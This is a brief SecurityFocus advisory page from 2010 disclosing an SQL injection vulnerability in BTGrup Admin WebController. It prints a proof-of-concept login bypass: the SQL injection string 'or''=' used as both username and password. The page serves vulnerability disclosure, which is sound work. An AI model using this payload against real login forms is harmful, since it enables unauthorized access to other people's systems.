info
discussion
exploit
solution
references
BTGrup Admin WebController SQL Injection Vulnerability
No exploit is required.
The following proof of concept is available:
Username : 'or''='
Password : 'or''='
Privacy Statement
Copyright 2010, SecurityFocus